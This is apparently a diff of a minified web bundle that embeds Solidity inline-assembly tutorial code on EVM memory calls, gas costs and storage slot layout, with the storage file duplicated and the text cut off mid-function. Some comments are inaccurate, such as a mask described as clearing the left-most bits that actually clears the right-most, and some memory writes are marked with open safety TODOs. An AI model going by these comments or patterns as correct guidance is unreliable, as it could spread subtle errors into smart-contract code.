            let ok := staticcall(gas(), a, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // p := mload(0x40)
            let return_data_size := returndatasize()
            // Copy returned data to memory
            // Is it safe to overwrite memory that was used for inputs?
            returndatacopy(p, 0, return_data_size)
            return(p, return_data_size)
        }
    }

    function test_abi_decode_uint256(address a, bytes calldata data)
        public
        view
        returns (uint256)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_bytes(address a, bytes calldata data)
        public
        view
        returns (bytes memory)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_uint256_arr(address a, bytes calldata data)
        public
        view
        returns (uint256[] memory)
    {
        test_staticcall(a, data);
    }

    function test_staticcall_return_abi_encoded_bytes(
        address addr,
        bytes calldata data
    ) public view returns (bytes memory out, uint256 return_data_size) {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // Update free memory pointer
            mstore(0x40, add(p, data.length))

            let ok := staticcall(gas(), addr, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // return_data_size = 32  for calling Target.f -> uint256
            //                  = 96  for calling Target.g -> bytes[] (32 offset, 32 length, 3 bytes padded to 32)
            //                  = 160 for calling Target.h -> uint256[] (32 offset, 32 length, 32 x 3 elements)
            return_data_size := returndatasize()
            // Store length of return data to out
            // pointer to out = 0x60 (zero slot)
            // TODO: safe to write to zero slot?
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }
}

contract Counter {
    uint256 public count;

    function inc() public returns (uint256) {
        count += 1;
        return count;
    }
}

contract YulCall {
    function test_call(address a, bytes memory data)
        public
        payable
        returns (bytes memory out)
    {
        bytes32 data_ptr;
        bytes32 out_ptr;
        assembly {
            // 0x80
            data_ptr := data
            // 0x60
            out_ptr := out

            let data_size := mload(data)
            let data_start := add(data, 0x20)
            let ok := call(gas(), a, callvalue(), data_start, data_size, 0, 0)

            if iszero(ok) { revert(0, 0) }

            let return_data_size := returndatasize()
            // Store length of return data to out
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }

    function test_inc(address counter) public returns (uint256 count) {
        bytes memory res = test_call(counter, abi.encodeCall(Counter.inc, ()));
        count = abi.decode(res, (uint256));
    }
}

// Memory expansion gas cost
// Gas cost is quadratic to memory allocation.
contract MemExp {
    function alloc_mem(uint256 n) external view returns (uint256) {
        uint256 gas_start = gasleft();
        uint256[] memory arr = new uint256[](n);
        uint256 gas_end = gasleft();
        return gas_start - gas_end;
    }
}

// arr size | gas
//        0 |    120
//        1 |    178
//       10 |    232
//       20 |    293
//       30 |    354
//       40 |    415
//       50 |    477
//       60 |    540
//       70 |    602
//       80 |    666
//       90 |    729
//      100 |    793
//      110 |    857
//      120 |    922
//      130 |    987
//      140 |   1053
//      150 |   1118
//      160 |   1185
//      170 |   1251
//      180 |   1318
//      190 |   1386
//      200 |   1454

//     1000 |   8144
//     2000 |  20023
//     3000 |  35808
//     4000 |  55500
//     5000 |  79097
//     6000 | 106601
//     7000 | 138011
//     8000 | 173328
//     9000 | 212550
//    10000 | 255679
//    11000 | 302715
//    12000 | 353656
//    13000 | 408504
//    14000 | 467257
//    15000 | 529918
//    16000 | 596484
//    17000 | 666957
//    18000 | 741336
//    19000 | 819621
//    20000 | 901812
"}],hw=`

                        Examples of

                        • Reading and writing to memory with assembly
                        • Memory layout in Solidity of different data types
                          • @@ -7846,7 +7846,7 @@ assertion probably means that there is a bug.

                          References

                          Solidity document

                          EVM Codes

                          -`,Iw=({prev:s,next:a})=>r.jsx(u,{version:ow,title:rw,description:iw,html:hw,prev:s,next:a,codes:gw}),dw="0.8.24",Cw="EVM Storage",jw="Example of EVM storage in Solidity",uw=[{fileName:"EVMStorage.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Yul - language used for Solidity inline assembly
contract YulIntro {
    // Yul assignment
    function test_yul_var() public pure returns (uint256) {
        uint256 s = 0;

        assembly {
            // Declare variable
            let x := 1
            // Reassign
            x := 2
            // Assign to Solidity variable
            s := 2
        }

        return s;
    }

    // Yul types (everything is bytes32)
    function test_yul_types()
        public
        pure
        returns (bool x, uint256 y, bytes32 z)
    {
        assembly {
            x := 1
            y := 0xaaa
            z := "Hello Yul"
        }

        return (x, y, z);
    }
}

contract EVMStorageSingleSlot {
    // EVM storage
    // 2**256 slots, each slot can store up to 32 bytes
    // Slots are assigned in the order the state variables are declared
    // Data < 32 bytes are packed into a slot (right to left)
    // sstore(k, v) = store v to slot k
    // sload(k) = load 32 bytes from slot k

    // Single variable stored in one slot
    // slot 0
    uint256 public s_x;
    // slot 1
    uint256 public s_y;
    // slot 2
    bytes32 public s_z;

    function test_sstore() public {
        assembly {
            sstore(0, 111)
            sstore(1, 222)
            sstore(2, 0xababab)
        }
    }

    function test_sstore_again() public {
        // Access slot using .slot
        assembly {
            sstore(s_x.slot, 123)
            sstore(s_y.slot, 456)
            sstore(s_z.slot, 0xcdcdcd)
        }
    }

    function test_sload()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(0)
            y := sload(1)
            z := sload(2)
        }

        return (x, y, z);
    }

    function test_sload_again()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(s_x.slot)
            y := sload(s_y.slot)
            z := sload(s_z.slot)
        }

        return (x, y, z);
    }
}

contract EVMStoratePackedSlotBytes {
    // slot 0 (packed right to left)
    bytes4 public b4 = 0xabababab;
    bytes2 public b2 = 0xcdcd;

    function get() public view returns (bytes32 b32) {
        assembly {
            b32 := sload(0)
        }
    }
}

contract BitMasking {
    function test_mask() public pure returns (bytes32 mask) {
        assembly {
            // |       256 bits        |
            // 000 ... 000 | 111 ... 111
            //             | 16 bits
            // 0x000000000000000000000000000000000000000000000000000000000000ffff
            mask := sub(shl(16, 1), 1)
        }
    }

    function test_shift_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
            //             | 16 bits     | 32 bits
            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
            mask := shl(32, sub(shl(16, 1), 1))
        }
    }

    function test_not_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
            //             | 16 bits     | 32 bits
            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
            mask := not(shl(32, sub(shl(16, 1), 1)))
        }
    }
}

contract EVMStoragePackedSlot {
    // Data < 32 bytes are packed into a slot
    // Bit masking (how to create 111...111)
    // slot, offset

    // slot 0
    uint128 public s_a;
    uint64 public s_b;
    uint32 public s_c;
    uint32 public s_d;
    // slot 1
    // 20 bytes = 160 bits
    address public s_addr;
    // 96 bits
    uint64 public s_x;
    uint32 public s_y;

    function test_sstore() public {
        assembly {
            // Load 32 bytes from slot0
            let v := sload(0)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 11
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 11
            v := or(v, 11)

            // Set s_b = 22
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(128, 22))

            // Set s_c = 33
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(192, 33))

            // Set s_d = 44
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(224, 44))

            // Store new value to slot0
            sstore(0, v)
        }
    }

    function test_slot_0_offset()
        public
        pure
        returns (
            uint256 a_offset,
            uint256 b_offset,
            uint256 c_offset,
            uint256 d_offset
        )
    {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            a_offset := s_a.offset
            b_offset := s_b.offset
            c_offset := s_c.offset
            d_offset := s_d.offset
        }
    }

    function test_slot_1_offset()
        public
        pure
        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
    {
        // addr_offset = 0
        // x_offset = 20
        // y_offset = 28
        assembly {
            addr_offset := s_addr.offset
            x_offset := s_x.offset
            y_offset := s_y.offset
        }
    }

    // slot and offset
    function test_sstore_using_offset() public {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            // Load 32 bytes from slot0
            let v := sload(s_a.slot)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 111
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 111)

            // Set s_b = 222
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(mul(s_b.offset, 8), 222))

            // Set s_c = 333
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(mul(s_c.offset, 8), 333))

            // Set s_d = 444
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(mul(s_d.offset, 8), 444))

            // Store new value to slot0
            sstore(s_a.slot, v)
        }
    }
}

contract EVMStorageStruct {
    struct SingleSlot {
        uint128 x;
        uint64 y;
        uint64 z;
    }

    struct MultipleSlots {
        uint256 a;
        uint256 b;
        uint256 c;
    }

    // slot 0
    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
    // slot 1, 2, 3
    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});

    function test_get_single_slot_struct()
        public
        view
        returns (uint128 x, uint64 y, uint64 z)
    {
        assembly {
            let s := sload(0)
            //  z |  y | x
            // 64 | 64 | 128 bits
            // Casting cuts off bits to the left
            x := s
            y := shr(128, s)
            z := shr(192, s)
        }
    }

    function test_get_multiple_slots_struct()
        public
        view
        returns (uint256 a, uint256 b, uint256 c)
    {
        assembly {
            a := sload(1)
            b := sload(2)
            c := sload(3)
        }
    }
}

contract EVMStorageConstants {
    // slot 0
    uint256 public s0 = 1;
    // Constants and immutables don't use storage
    uint256 public constant X = 123;
    address public immutable owner;
    // slot 1
    uint256 public s1 = 2;

    constructor() {
        owner = msg.sender;
    }

    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
        assembly {
            v0 := sload(0)
            v1 := sload(1)
        }
    }
}

contract EVMStorageFixedArray {
    // Fixed array with elements = 32 bytes, slot of element = slot where array is declared + index of array element
    // slots 0, 1, 2
    uint256[3] private arr_0 = [1, 2, 3];
    // slots 3, 4, 5
    uint256[3] private arr_1 = [4, 5, 6];
    // slot + index of packed data
    // slots 6, 6, 7, 7, 8
    uint128[5] private arr_2 = [7, 8, 9, 10, 11];

    function test_arr_0(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_0 starts from slot 0
            v := sload(add(0, i))
        }
    }

    function test_arr_1(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_1 starts from slot 3
            v := sload(add(3, i))
        }
    }

    function test_arr_2(uint256 i) public view returns (uint128 v) {
        assembly {
            // arr_2 starts from slot 6
            let b32 := sload(add(6, div(i, 2)))
            // slot 6 = 1st element | 0th element
            // slot 7 = 3rd element | 2nd element
            // slot 8 = 000 ... 000 | 4th element

            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
            // i is odd  => get left 128 bits  => shift right 128 bits

            switch mod(i, 2)
            case 1 { v := shr(128, b32) }
            default { v := b32 }
        }
    }
}

contract EVMStorageDynamicArray {
    // slot of element = keccak256(slot where this array is declared) + size of element * index of element
    // keccak256(0) + 1 * index
    uint256[] private arr = [11, 22, 33];
    // keccak256(1) + 1 / 2 * index
    uint128[] private arr_2 = [1, 2, 3];

    function test_arr(uint256 slot, uint256 i)
        public
        view
        returns (uint256 v, bytes32 b32, uint256 len)
    {
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            v := sload(add(start, i))
            b32 := v
        }
    }
}

contract EVMStorageMapping {
    // slot of value = keccack256(key, slot where mapping is declared)
    mapping(address => uint256) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1] = 11;
        map[ADDR_2] = 22;
        map[ADDR_3] = 33;
    }

    function test_mapping(address key) public view returns (uint256 v) {
        uint256 slot = 0;
        bytes32 slot_v = keccak256(abi.encode(key, slot));

        assembly {
            v := sload(slot_v)
        }
    }
}

contract EVMStorageNestedMapping {
    // key0 => key1 => val
    // slot of value = keccak256(key1, keccack256(key0, slot where nested mapping is declared))
    mapping(address => mapping(address => uint256)) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1][ADDR_2] = 11;
        map[ADDR_2][ADDR_3] = 22;
        map[ADDR_3][ADDR_1] = 33;
    }

    function test_nested_mapping(address key_0, address key_1)
        public
        view
        returns (uint256 v)
    {
        uint256 slot = 0;
        bytes32 s0 = keccak256(abi.encode(key_0, slot));
        bytes32 s1 = keccak256(abi.encode(key_1, s0));

        assembly {
            v := sload(s1)
        }
    }
}

contract EVMStorageMappingArray {
    // slot of value in a mapping = keccak256(key, slot)
    // slot of array element = keccak256(slot) + index
    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
    mapping(address => uint256[]) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);

    constructor() {
        map[ADDR_1].push(11);
        map[ADDR_1].push(22);
        map[ADDR_1].push(33);
        map[ADDR_2].push(44);
        map[ADDR_2].push(55);
        map[ADDR_2].push(66);
    }

    function test_map_arr(address addr, uint256 i)
        public
        view
        returns (uint256 v, uint256 len)
    {
        uint256 map_slot = 0;
        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
        bytes32 arr_hash = keccak256(abi.encode(map_hash));

        assembly {
            len := sload(map_hash)
            v := sload(add(arr_hash, i))
        }
    }
}

contract EVMStorageDynamicArrayStruct {
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index * size of struct
    Point[] private arr;

    constructor() {
        arr.push(Point(11, 22, 33));
        arr.push(Point(44, 55, 66));
        arr.push(Point(77, 88, 99));
    }

    function test_struct_arr(uint256 i)
        public
        view
        returns (uint256 x, uint128 y, uint128 z, uint256 len)
    {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            // s0 = keccak256(0)
            // index | slot        | values
            //     0 | slot s0 + 0 | arr[0].x
            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
            //     1 | slot s0 + 2 | arr[1].x
            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
            //     2 | slot s0 + 4 | arr[2].x
            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
            x := sload(add(start, mul(i, 2)))
            let zy := sload(add(start, add(mul(i, 2), 1)))
            // uint128 cuts off left most 128 bits from 32 bytes
            y := zy
            z := shr(128, zy)
        }
    }
}
"}],Aw=`

                          Examples of

                          +`,Iw=({prev:s,next:a})=>r.jsx(A,{version:ow,title:rw,description:iw,html:hw,prev:s,next:a,codes:gw}),dw="0.8.24",Cw="EVM Storage",jw="Example of EVM storage in Solidity",Aw=[{fileName:"EVMStorage.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Yul - language used for Solidity inline assembly
contract YulIntro {
    // Yul assignment
    function test_yul_var() public pure returns (uint256) {
        uint256 s = 0;

        assembly {
            // Declare variable
            let x := 1
            // Reassign
            x := 2
            // Assign to Solidity variable
            s := 2
        }

        return s;
    }

    // Yul types (everything is bytes32)
    function test_yul_types()
        public
        pure
        returns (bool x, uint256 y, bytes32 z)
    {
        assembly {
            x := 1
            y := 0xaaa
            z := "Hello Yul"
        }

        return (x, y, z);
    }
}

contract EVMStorageSingleSlot {
    // EVM storage
    // 2**256 slots, each slot can store up to 32 bytes
    // Slots are assigned in the order the state variables are declared
    // Data < 32 bytes are packed into a slot (right to left)
    // sstore(k, v) = store v to slot k
    // sload(k) = load 32 bytes from slot k

    // Single variable stored in one slot
    // slot 0
    uint256 public s_x;
    // slot 1
    uint256 public s_y;
    // slot 2
    bytes32 public s_z;

    function test_sstore() public {
        assembly {
            sstore(0, 111)
            sstore(1, 222)
            sstore(2, 0xababab)
        }
    }

    function test_sstore_again() public {
        // Access slot using .slot
        assembly {
            sstore(s_x.slot, 123)
            sstore(s_y.slot, 456)
            sstore(s_z.slot, 0xcdcdcd)
        }
    }

    function test_sload()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(0)
            y := sload(1)
            z := sload(2)
        }

        return (x, y, z);
    }

    function test_sload_again()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(s_x.slot)
            y := sload(s_y.slot)
            z := sload(s_z.slot)
        }

        return (x, y, z);
    }
}

contract EVMStoratePackedSlotBytes {
    // slot 0 (packed right to left)
    bytes4 public b4 = 0xabababab;
    bytes2 public b2 = 0xcdcd;

    function get() public view returns (bytes32 b32) {
        assembly {
            b32 := sload(0)
        }
    }
}

contract BitMasking {
    function test_mask() public pure returns (bytes32 mask) {
        assembly {
            // |       256 bits        |
            // 000 ... 000 | 111 ... 111
            //             | 16 bits
            // 0x000000000000000000000000000000000000000000000000000000000000ffff
            mask := sub(shl(16, 1), 1)
        }
    }

    function test_shift_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
            //             | 16 bits     | 32 bits
            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
            mask := shl(32, sub(shl(16, 1), 1))
        }
    }

    function test_not_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
            //             | 16 bits     | 32 bits
            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
            mask := not(shl(32, sub(shl(16, 1), 1)))
        }
    }
}

contract EVMStoragePackedSlot {
    // Data < 32 bytes are packed into a slot
    // Bit masking (how to create 111...111)
    // slot, offset

    // slot 0
    uint128 public s_a;
    uint64 public s_b;
    uint32 public s_c;
    uint32 public s_d;
    // slot 1
    // 20 bytes = 160 bits
    address public s_addr;
    // 96 bits
    uint64 public s_x;
    uint32 public s_y;

    function test_sstore() public {
        assembly {
            // Load 32 bytes from slot0
            let v := sload(0)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 11
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 11
            v := or(v, 11)

            // Set s_b = 22
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(128, 22))

            // Set s_c = 33
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(192, 33))

            // Set s_d = 44
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(224, 44))

            // Store new value to slot0
            sstore(0, v)
        }
    }

    function test_slot_0_offset()
        public
        pure
        returns (
            uint256 a_offset,
            uint256 b_offset,
            uint256 c_offset,
            uint256 d_offset
        )
    {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            a_offset := s_a.offset
            b_offset := s_b.offset
            c_offset := s_c.offset
            d_offset := s_d.offset
        }
    }

    function test_slot_1_offset()
        public
        pure
        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
    {
        // addr_offset = 0
        // x_offset = 20
        // y_offset = 28
        assembly {
            addr_offset := s_addr.offset
            x_offset := s_x.offset
            y_offset := s_y.offset
        }
    }

    // slot and offset
    function test_sstore_using_offset() public {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            // Load 32 bytes from slot0
            let v := sload(s_a.slot)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 111
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 111)

            // Set s_b = 222
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(mul(s_b.offset, 8), 222))

            // Set s_c = 333
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(mul(s_c.offset, 8), 333))

            // Set s_d = 444
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(mul(s_d.offset, 8), 444))

            // Store new value to slot0
            sstore(s_a.slot, v)
        }
    }
}

contract EVMStorageStruct {
    struct SingleSlot {
        uint128 x;
        uint64 y;
        uint64 z;
    }

    struct MultipleSlots {
        uint256 a;
        uint256 b;
        uint256 c;
    }

    // slot 0
    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
    // slot 1, 2, 3
    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});

    function test_get_single_slot_struct()
        public
        view
        returns (uint128 x, uint64 y, uint64 z)
    {
        assembly {
            let s := sload(0)
            //  z |  y | x
            // 64 | 64 | 128 bits
            // Casting cuts off bits to the left
            x := s
            y := shr(128, s)
            z := shr(192, s)
        }
    }

    function test_get_multiple_slots_struct()
        public
        view
        returns (uint256 a, uint256 b, uint256 c)
    {
        assembly {
            a := sload(1)
            b := sload(2)
            c := sload(3)
        }
    }
}

contract EVMStorageConstants {
    // slot 0
    uint256 public s0 = 1;
    // Constants and immutables don't use storage
    uint256 public constant X = 123;
    address public immutable owner;
    // slot 1
    uint256 public s1 = 2;

    constructor() {
        owner = msg.sender;
    }

    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
        assembly {
            v0 := sload(0)
            v1 := sload(1)
        }
    }
}

contract EVMStorageFixedArray {
    // Fixed array with elements = 32 bytes, slot of element = slot where array is declared + index of array element
    // slots 0, 1, 2
    uint256[3] private arr_0 = [1, 2, 3];
    // slots 3, 4, 5
    uint256[3] private arr_1 = [4, 5, 6];
    // slot + index of packed data
    // slots 6, 6, 7, 7, 8
    uint128[5] private arr_2 = [7, 8, 9, 10, 11];

    function test_arr_0(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_0 starts from slot 0
            v := sload(add(0, i))
        }
    }

    function test_arr_1(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_1 starts from slot 3
            v := sload(add(3, i))
        }
    }

    function test_arr_2(uint256 i) public view returns (uint128 v) {
        assembly {
            // arr_2 starts from slot 6
            let b32 := sload(add(6, div(i, 2)))
            // slot 6 = 1st element | 0th element
            // slot 7 = 3rd element | 2nd element
            // slot 8 = 000 ... 000 | 4th element

            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
            // i is odd  => get left 128 bits  => shift right 128 bits

            switch mod(i, 2)
            case 1 { v := shr(128, b32) }
            default { v := b32 }
        }
    }
}

contract EVMStorageDynamicArray {
    // slot of element = keccak256(slot where this array is declared) + size of element * index of element
    // keccak256(0) + 1 * index
    uint256[] private arr = [11, 22, 33];
    // keccak256(1) + 1 / 2 * index
    uint128[] private arr_2 = [1, 2, 3];

    function test_arr(uint256 slot, uint256 i)
        public
        view
        returns (uint256 v, bytes32 b32, uint256 len)
    {
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            v := sload(add(start, i))
            b32 := v
        }
    }
}

contract EVMStorageMapping {
    // slot of value = keccack256(key, slot where mapping is declared)
    mapping(address => uint256) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1] = 11;
        map[ADDR_2] = 22;
        map[ADDR_3] = 33;
    }

    function test_mapping(address key) public view returns (uint256 v) {
        uint256 slot = 0;
        bytes32 slot_v = keccak256(abi.encode(key, slot));

        assembly {
            v := sload(slot_v)
        }
    }
}

contract EVMStorageNestedMapping {
    // key0 => key1 => val
    // slot of value = keccak256(key1, keccack256(key0, slot where nested mapping is declared))
    mapping(address => mapping(address => uint256)) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1][ADDR_2] = 11;
        map[ADDR_2][ADDR_3] = 22;
        map[ADDR_3][ADDR_1] = 33;
    }

    function test_nested_mapping(address key_0, address key_1)
        public
        view
        returns (uint256 v)
    {
        uint256 slot = 0;
        bytes32 s0 = keccak256(abi.encode(key_0, slot));
        bytes32 s1 = keccak256(abi.encode(key_1, s0));

        assembly {
            v := sload(s1)
        }
    }
}

contract EVMStorageMappingArray {
    // slot of value in a mapping = keccak256(key, slot)
    // slot of array element = keccak256(slot) + index
    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
    mapping(address => uint256[]) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);

    constructor() {
        map[ADDR_1].push(11);
        map[ADDR_1].push(22);
        map[ADDR_1].push(33);
        map[ADDR_2].push(44);
        map[ADDR_2].push(55);
        map[ADDR_2].push(66);
    }

    function test_map_arr(address addr, uint256 i)
        public
        view
        returns (uint256 v, uint256 len)
    {
        uint256 map_slot = 0;
        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
        bytes32 arr_hash = keccak256(abi.encode(map_hash));

        assembly {
            len := sload(map_hash)
            v := sload(add(arr_hash, i))
        }
    }
}

contract EVMStorageDynamicArrayStruct {
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index * size of struct
    Point[] private arr;

    constructor() {
        arr.push(Point(11, 22, 33));
        arr.push(Point(44, 55, 66));
        arr.push(Point(77, 88, 99));
    }

    function test_struct_arr(uint256 i)
        public
        view
        returns (uint256 x, uint128 y, uint128 z, uint256 len)
    {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            // s0 = keccak256(0)
            // index | slot        | values
            //     0 | slot s0 + 0 | arr[0].x
            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
            //     1 | slot s0 + 2 | arr[1].x
